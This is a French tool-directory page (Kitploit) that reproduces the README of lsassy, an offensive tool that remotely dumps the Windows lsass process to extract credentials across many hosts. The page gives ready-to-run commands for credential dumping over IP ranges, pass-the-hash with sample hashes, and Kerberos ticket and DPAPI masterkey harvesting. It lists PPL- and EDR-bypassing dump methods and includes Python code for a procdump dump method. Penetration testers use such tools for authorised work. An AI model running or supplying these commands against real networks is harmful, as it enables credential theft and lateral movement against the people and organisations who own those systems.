Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
lsassy — Extraire les identifiants de lsass à distance | Kitploit
Outils/GitHubGitHub/login-securite/lsassy
Collecte d'InformationsPost-ExploitationTests d'IntrusionOutil d'Accès à Distance
GitHublogin-securite/lsassy

lsassy

Extraire les identifiants de lsass à distance

Voir le dépôt
2.2k2624il y a 12h 22mVérifié par Kitploit
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

lsassy

PyPI version PyPI Statistics Tests Twitter

Outil Python pour extraire à distance des identifiants sur un ensemble d'hôtes. Cet article de blog explique son fonctionnement.

Cet outil utilise le projet impacket pour lire à distance les octets nécessaires dans le dump lsass et pypykatz pour extraire les identifiants.

Télécharger l’outil
ChapitresDescription
AvertissementAvant d'utiliser cet outil, lisez ceci
InstallationInstallation de lsassy
Utilisation de baseUtilisation de base de lsassy
Utilisation avancéeUtilisation avancée de lsassy avec explication des paramètres
Ajouter une méthode de dumpComment ajouter une méthode de dump lsass personnalisée
RemerciementsRemerciements à ces personnes et outils
Discord officielServeur Discord officiel

Avertissement

Bien que j'aie fait tout mon possible pour rendre l'outil stable, des traces peuvent subsister en cas d'erreur.

Cet outil peut laisser des dumps lsass s'il n'a pas réussi à les supprimer (bien qu'il fasse de son mieux) ou laisser une tâche planifiée en cours d'exécution s'il ne parvient pas à la supprimer. Cela ne devrait pas arriver, mais c'est possible. Maintenant, vous savez, utilisez-le avec précaution.

Installation

lsassy fonctionne avec python >= 3.7

pip (Recommandé)

root@kitploit:~
python3 -m pip install lsassy

Depuis les sources pour le développement

root@kitploit:~
python3 setup.py install

Utilisation de base

lsassy fonctionne immédiatement sur plusieurs cibles (IP, plages, CIDR, noms d'hôte, FQDN, fichiers contenant une liste de cibles)

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets

Par défaut, lsassy tentera de dumper lsass à distance en utilisant la méthode comsvcs.dll, soit via WMI, soit via une tâche planifiée à distance.

Kerberos

lsassy peut s'authentifier avec Kerberos. Cela nécessite un TGT valide dans la variable d'environnement KRB5CCNAME. Voir utilisation avancée pour plus de détails.

root@kitploit:~
lsassy -k targets

Exemples

root@kitploit:~
 lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
 lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
 lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
 lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10

Utilisation avancée

Différentes méthodes de dump de lsass sont implémentées dans lsassy, et certaines options sont fournies pour donner à l'utilisateur le contrôle sur la façon dont l'outil procédera.

Fonctionnement interne

lsassy est divisé en modules

root@kitploit:~
                   +-----------+
                   |   Writer  |
                   +-----+-----+
                         |
                         |
 +----------+      +-----+-----+    +---------+
 |  Parser  |------|   Core    |----| Session |
 +----------+      +-----+-----+    +---------+
                         |
                         |
                   +-----------+
                   |    Dump   |-+
                   |  Methods  | |-+    +----------+
                   +-----+-----+ | |----|   File   |
                     +-----------+ |    +----------+
                      +------------+
                         |
                         |
                   +-----------+
                   |    Exec   |-+
                   |  Methods  | |-+
                   +-----+-----+ | |
                     +-----------+ |
                      +------------+

Module Core

Ce module est l'orchestrateur. Il crée la classe lsassy avec les arguments et options fournis, puis appelle les différents modules pour récupérer les identifiants.

Module Logger

Ce module est utilisé pour la journalisation.

Module File

Il s'agit d'une couche construite au-dessus d'Impacket pour se comporter comme un objet fichier natif de Python. Il remplace les méthodes telles que open, read, seek, ou close.

Module Dumper

Ce module est celui où toute la logique de dump se produit. Selon la méthode utilisée, il exécutera du code sur l'hôte distant pour dumper lsass en utilisant la méthode fournie.

Module Parser

Ce module repose sur pypykatz et utilise le module fichier de lsassy pour analyser à distance le dump lsass.

Module Writer

Ce module gère la partie sortie, soit à l'écran dans différents formats et/ou écrit les résultats dans un fichier.

Méthodes de dump

Cet outil peut dumper lsass de différentes manières.

Méthodes de dump (-m ou --method)

  • comsvcs
  • comsvcs_stealth
  • dllinject
  • procdump
  • procdump_embedded
  • dumpert
  • dumpertdll
  • nativedump
  • ppldump
  • ppldump_embedded
  • mirrordump
  • mirrordump_embedded
  • wer
  • EDRSandBlast
  • nanodump
  • rdrleakdiag
  • silentprocessexit
  • sqldumper

Méthode comsvcs

Cette méthode utilise uniquement des fichiers Windows intégrés pour extraire les identifiants distants. Elle utilise la fonction minidump de comsvcs.dll pour dumper le processus lsass.

Méthode Procdump

Cette méthode télécharge procdump.exe de SysInternals pour dumper le processus lsass.

Méthode Dumpert

Cette méthode télécharge dumpert.exe ou dumpert.dll de outflanknl pour dumper le processus lsass en utilisant des appels système.

Native Dump

Cette méthode télécharge NativeDump.exe de ricardojoserf pour dumper le processus lsass en utilisant uniquement les API NT.

Ppldump

Cette méthode télécharge ppldump.exe de itm4n pour dumper le processus lsass et contourner PPL.

Mirrordump

Cette méthode télécharge Mirrordump.exe de Ccob pour dumper lsass en utilisant un handle déjà ouvert vers lsass via un plugin LSA.

WER

Cette méthode utilise la technique WER utilisée dans PowerSploit.

Options

Pour certaines méthodes de dump, des options sont nécessaires, comme le chemin de procdump ou dumpert. Ces options peuvent être définies en utilisant --options ou -O avec une liste d'options séparées par des virgules sous la forme key=value.

root@kitploit:~
... --options key=value,foo=bar

Par exemple :

root@kitploit:~
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump    -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert     -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll  -O dumpertdll_path=/opt/dumpert.dll

Analyse seule

Vous pouvez choisir d'analyser un processus lsass déjà dumpé en fournissant l'option --parse-only, ainsi que les paramètres --dump-path et --dump-name.

Notez que si vous choisissez cette méthode, le dump lsass distant ne sera pas supprimé.

Par exemple :

root@kitploit:~
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"

Conserver le dump

Si vous ne souhaitez pas que le dump soit automatiquement supprimé après l'exécution de lsassy, vous pouvez utiliser --keep-dump.

root@kitploit:~
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump

Récolte des tickets Kerberos

Les tickets Kerberos seront extraits et sauvegardés dans $HOME/.config/lsassy/tickets au format ccache. Vous pouvez spécifier le répertoire de sortie en utilisant le paramètre -K [répertoire] ou --kerberos-dir [répertoire]. Si ce répertoire n'existe pas, l'outil tentera de le créer avant de sauvegarder les tickets.

root@kitploit:~
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'

Récolte des clés maîtresses DPAPI

Les clés maîtresses DPAPI seront extraites et sauvegardées dans $HOME/.config/lsassy/masterkeys.txt au format {GUID}:SHA1. Vous pouvez spécifier le chemin du fichier de clés maîtresses en utilisant le paramètre -M [chemin] ou --masterkeys-file [chemin]. Si le chemin du fichier n'existe pas, l'outil tentera de le créer avant de créer le fichier.

root@kitploit:~
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'

Méthodes d'authentification

Il existe trois façons différentes de s'authentifier sur des cibles distantes avec lsassy. La seule condition est que l'utilisateur doit avoir des droits d'administration locaux sur les cibles distantes.

Identifiants en clair

La première et la plus évidente est d'utiliser des identifiants en clair. Il peut s'agir d'un utilisateur local ou de domaine.

root@kitploit:~
## Local user
lsassy -u pixis -p P4ssw0rd server01.hackn.lab

## Domain user
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab

Pass-the-hash

Il est également possible de s'authentifier en utilisant le hash NT de l'utilisateur. Vous pouvez fournir soit LM:NT, soit uniquement la version NT.

root@kitploit:~
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee

## Or

lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab

Kerberos

Vous pouvez également vous authentifier avec Kerberos. Pour que cela fonctionne, vous devez avoir un ticket valide sauvegardé sur le disque, et le chemin du ticket doit être fourni dans la variable d'environnement KRB5CCNAME. À des fins de test, cela peut être réalisé en utilisant l'outil getTGT.py d'Impacket.

root@kitploit:~
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab

Cette commande demandera un TGT et le sauvegardera dans le fichier jsnow.ccache.

Pour que lsassy sache quel ticket utiliser, vous devez définir explicitement le chemin du ticket dans la variable d'environnement KRB5CCNAME.

root@kitploit:~
export KRB5CCNAME="/home/pixis/jsnow.ccache"

Lorsqu'il est correctement configuré, vous devriez pouvoir utiliser ce ticket pour l'authentification en utilisant le paramètre -k. Comme vous utilisez ce ticket, vous n'avez plus besoin de fournir d'autres informations d'authentification.

root@kitploit:~
lsassy -k server01.hackn.lab

Notez que pour que cela fonctionne, vous aurez besoin d'une configuration DNS valide, soit dynamique avec un serveur DNS valide, soit statique en utilisant le fichier hosts. De plus, vous devez toujours utiliser le FQDN lors de la génération des tickets et de l'utilisation de lsassy, c'est-à-dire utiliser server01.hackn.lab au lieu de server01.

Sortie

Format d'affichage

lsassy peut afficher les identifiants dans différents formats en utilisant l'option --format ou -f.

Pretty

Format par défaut, les identifiants sont affichés de manière agréable et propre avec des couleurs dorées. In credz we trust.

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
Json

Affiche le résultat au format json. Peut être utile lorsqu'il est appelé depuis un script.

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
Grep

Sortie greppable utile pour des commandes en une ligne.

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets
Aucun

N'affiche pas le résultat. Utile lors de l'utilisation de --outfile.

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format none

Sauvegarder dans un fichier

Sauvegarde le résultat dans un format greppable dans le fichier fourni (--outfile ou -o).

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt

Filtrage des résultats

Si vous souhaitez obtenir uniquement les identifiants des utilisateurs, en excluant ceux des ordinateurs, vous pouvez utiliser l'option --users.

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --users

Si vous ne voulez pas que les tickets soient exportés, vous pouvez utiliser l'option --no-tickets.

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets

Si vous ne voulez pas que les clés maîtresses soient exportées, vous pouvez utiliser l'option --no-masterkeys.

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys

Gestion des threads

Vous pouvez décider du nombre de threads à utiliser [1-256] avec le paramètre --threads.

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32

Ajouter une méthode de dump

Il y a un fichier dummy.py.tpl dans le répertoire dumpmethod. Ce fichier contient la structure de base pour créer une nouvelle fonctionnalité de méthode de dump.

get_commands

Cette méthode est obligatoire car c'est la méthode qui sera utilisée pour exécuter du code sur l'hôte distant afin de dumper lsass d'une manière ou d'une autre. Elle doit retourner un dictionnaire avec deux éléments cmd et pwsh.

cmd command est une commande comprise par l'utilitaire cmd.exe pwsh command est une commande comprise par powershell (la plupart du temps, la commande cmd est également valide dans powershell)

root@kitploit:~
return {
    "cmd": cmd_command,
    "pwsh": pwsh_command
}

Dépendances

Il existe une classe Dependency qui peut être utilisée pour télécharger facilement les fichiers nécessaires à la méthode de dump, comme procdump.exe de Sysinternals. Deux méthodes peuvent être utilisées :

  • prepare_dependencies pour vérifier si tous les paramètres ont été fournis par l'utilisateur pour trouver localement le fichier sur le disque de l'utilisateur et le télécharger, puis effectuer le téléchargement
  • clean_dependencies pour essayer de supprimer les fichiers téléchargés

(Optionnel) prepare

Cette méthode sera appelée avant l'exécution des commandes fournies par get_commands. Elle peut être utilisée pour télécharger des fichiers ou vérifier des choses.

(Optionnel) clean

Cette méthode sera appelée après l'exécution des commandes fournies par get_commands. Elle peut être utilisée pour supprimer les fichiers téléchargés ou nettoyer.

Exemple

Voici un exemple procdump avec quelques commentaires

root@kitploit:~
from lsassy.dumpmethod import IDumpMethod, Dependency


class DumpMethod(IDumpMethod):
    """
    If your dumping method cannot produce a dumpfile with a custom dumpfile name, you must set this setting to False
    and uncomment 'dump_name' to provide expected dumpfile name on remote system.
    """
    custom_dump_name_support = True  # Default: True
    # dump_name              = ""    # Default: Random dumpfile name

    """
    If your dumping method cannot produce a dumpfile in a custom directory, you must set this setting to False
    and uncomment 'dump_share' and 'dump_path' to provide expected dumpfile location on remote system.
    If your dumping tool can have a custom dump name but not a custom dump extension, provide the dump extension in dump_ext variable
    In this example, procdump.exe will produce a dump wherever we want, with a name we choose, but will always add a .dmp extension.
    """
    custom_dump_path_support = True  # Default: True
    # dump_share             = ""    # Default: "C$"
    # dump_path              = ""    # Default: "\\Windows\\Temp\\"
    dump_ext                 = "dmp"

    def __init__(self, session, timeout):
        """
        __init__ is overloaded to create some instance variables
        """
        super().__init__(session, timeout)
        
        """
        This module requires procdump.exe to be uploaded on the remote server before being executed.
        So we add procdump as a Dependency. First argument is a name for our dependency (can be arbitrary),
        and second argument is default executable name on local user's disk.
        """
        self.procdump = Dependency("procdump", "procdump.exe")

    def prepare(self, options):
        """
        Prepare method is overloaded so that we are able to
        - check if mandatory parameters are provided
        - upload procdump on the remote host.
        All this can be done using prepare_dependencies method from our Dependency object
        """
        return self.prepare_dependencies(options, [self.procdump])

    def clean(self):
        """
        Clean method is overloaded so that we are able to delete our dependency if it was uploaded
        The clean_dependencies method will do this for us.
        """
        self.clean_dependencies([self.procdump])

    def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
        """
        get_commands method is overloaded as it is mandatory.
        Two different ways of dumping lsass with cmd.exe and powershell are provided and returned.
        The get_remote_path method of our Dependency object is used to get the correct remote path 
        of procdump on our target.
        """
        
        cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
            self.procdump.get_remote_path(),
            self.dump_path, self.dump_name
        )
        pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
            self.procdump.get_remote_path(),
            self.dump_path, self.dump_name
        )
        return {
            "cmd": cmd_command,
            "pwsh": pwsh_command
        }

Vous pouvez consulter la classe dummy pour plus de commentaires et/ou d'informations.

Remerciements

image

  • Kodoque pour le nom lsassy
  • Impacket
  • SkelSec pour Pypykatz, mais aussi pour sa patience et son aide
  • mpgn pour son aide et ses idées
  • Cn33liz pour Dumpert
  • itm4n pour PPLDump
  • Ccob pour MirrorDump
  • Matt Graeber pour la technique WER
  • MrUn1k0d3r pour la technique de modification de service SMB
  • th3m4ks et Qazeer pour EDRSandBlast
  • s4ntiago_p pour nanodump
  • 0gtweet pour la technique Rdrleakdiag
  • Luis Rocha pour la technique SQLDumper
  • Asaf Gilboa pour la technique LsassSilentProcessExit

Discord officiel

https://discord.hackndo.com

Bugs connus

  • Les versions compilées n'incluent pas table_output à cause d'une erreur étrange avec la bibliothèque rich.

Historique des étoiles

Star History Chart